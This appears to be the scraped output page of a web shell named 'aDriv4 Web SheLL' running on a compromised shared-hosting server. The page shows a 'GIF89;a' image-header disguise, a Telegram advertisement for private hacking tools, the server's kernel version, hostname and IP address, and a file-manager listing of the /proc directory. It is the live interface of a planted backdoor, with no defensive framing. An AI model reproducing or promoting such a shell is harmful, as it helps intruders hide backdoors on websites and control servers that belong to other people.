GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium133.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 162.0.232.69
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-24 09:23:10
.. dir - root/root 0755 2025-08-05 06:44:59
1424086 dir - mboniqkj/mboniqkj 0555 2026-01-01 11:30:05
1424147 dir - mboniqkj/mboniqkj 0555 2026-01-01 11:30:05
3362720 dir - mboniqkj/mboniqkj 0555 2026-01-01 11:30:05
3903946 dir - mboniqkj/mboniqkj 0555 2026-01-01 11:30:05
3910402 dir - mboniqkj/mboniqkj 0555 2026-01-01 11:30:05
3918748 dir - mboniqkj/mboniqkj 0555 2026-01-01 11:30:05
3921520 dir - mboniqkj/mboniqkj 0555 2026-01-01 11:30:05
3922368 dir - mboniqkj/mboniqkj 0555 2026-01-01 11:30:05
3923998 dir - mboniqkj/mboniqkj 0555 2026-01-01 11:30:05
3929981 dir - mboniqkj/mboniqkj 0555 2026-01-01 11:30:05
3930535 dir - mboniqkj/mboniqkj 0555 2026-01-01 11:30:05
3932604 dir - mboniqkj/mboniqkj 0555 2026-01-01 11:30:05
3940983 dir - mboniqkj/mboniqkj 0555 2026-01-01 11:30:09
acpi dir - root/root 0555 2025-06-24 09:23:13
bus dir - root/root 0555 2025-06-24 09:23:22
driver dir - root/root 0555 2026-01-01 11:30:12
fs dir - root/root 0555 2025-06-24 09:23:22
irq dir - root/root 0555 2025-06-24 09:23:22
kcare dir - root/root 0555 2026-01-01 11:30:12
lve dir - root/root 0555 2026-01-01 11:30:06
net link - mboniqkj/mboniqkj 0555 2026-01-01 11:30:12
scsi dir - root/root 0555 2025-06-24 09:23:22
self link - mboniqkj/mboniqkj 0555 2026-01-01 11:30:05
sys dir - root/root 0555 2025-06-24 09:23:11
sysvipc dir - root/root 0555 2026-01-01 11:30:12
thread-self link - mboniqkj/mboniqkj 0555 2026-01-01 11:30:05
tty dir - root/root 0555 2026-01-01 11:30:12
buddyinfo 0 B root/root 0444 2026-01-01 11:30:12
cgroups 0 B root/root 0444 2026-01-01 11:30:12
cmdline text/plain 0 B root/root 0444 2026-01-01 11:30:05
consoles 0 B root/root 0444 2026-01-01 11:30:12
cpuinfo text/plain 0 B root/root 0444 2026-01-01 11:30:05
crypto 0 B root/root 0444 2026-01-01 11:30:12
devices 0 B root/root 0444 2026-01-01 11:30:12
diskstats 0 B root/root 0444 2026-01-01 11:30:05
dma 0 B root/root 0444 2026-01-01 11:30:12
execdomains 0 B root/root 0444 2026-01-01 11:30:12
fb 0 B root/root 0444 2026-01-01 11:30:12
filesystems text/plain 0 B root/root 0444 2026-01-01 11:29:21
interrupts 0 B root/root 0444 2026-01-01 11:30:12
iomem 0 B root/root 0444 2026-01-01 11:30:12
ioports 0 B root/root 0444 2026-01-01 11:30:12
kallsyms 0 B root/root 0444 2025-06-24 09:23:22
kcore 128 TB root/root 0400 2025-06-24 09:23:13
key-users 0 B root/root 0444 2026-01-01 11:30:12
keys 0 B root/root 0444 2026-01-01 11:30:12
kmsg 0 B root/root 0400 2026-01-01 11:30:12
kpagecgroup 0 B root/root 0400 2026-01-01 11:30:12
kpagecount 0 B root/root 0400 2026-01-01 11:30:12
kpageflags 0 B root/root 0400 2026-01-01 11:30:12
loadavg text/plain 0 B root/root 0444 2026-01-01 11:29:48
locks 0 B root/root 0444 2026-01-01 11:30:12
mdstat 0 B root/root 0444 2026-01-01 11:30:12
meminfo text/plain 0 B root/root 0444 2026-01-01 11:29:20
misc 0 B root/root 0444 2026-01-01 11:30:12
modules 0 B root/root 0444 2026-01-01 11:30:12
mounts text/plain 0 B mboniqkj/mboniqkj 0444 2026-01-01 11:30:12
mtrr 0 B root/root 0644 2025-06-24 09:23:22
pagetypeinfo 0 B root/root 0400 2026-01-01 11:30:12
partitions 0 B root/root 0444 2026-01-01 11:30:12
sched_debug 0 B root/root 0444 2026-01-01 11:30:12
schedstat 0 B root/root 0444 2026-01-01 11:30:12
slabinfo 0 B root/root 0400 2026-01-01 11:30:12
softirqs 0 B root/root 0444 2026-01-01 11:30:12
stat text/plain 0 B root/root 0444 2026-01-01 11:29:22
swaps 0 B root/root 0444 2025-06-24 09:23:11
sysrq-trigger 0 B root/root 0200 2025-06-24 09:23:22
timer_list 0 B root/root 0400 2026-01-01 11:30:12
uptime text/plain 0 B root/root 0444 2026-01-01 11:29:20
version text/plain 0 B root/root 0444 2026-01-01 11:30:12
vmallocinfo 0 B root/root 0400 2026-01-01 11:30:12
vmstat 0 B root/root 0444 2026-01-01 11:30:05
zoneinfo 0 B root/root 0444 2026-01-01 11:30:12
© aDriv4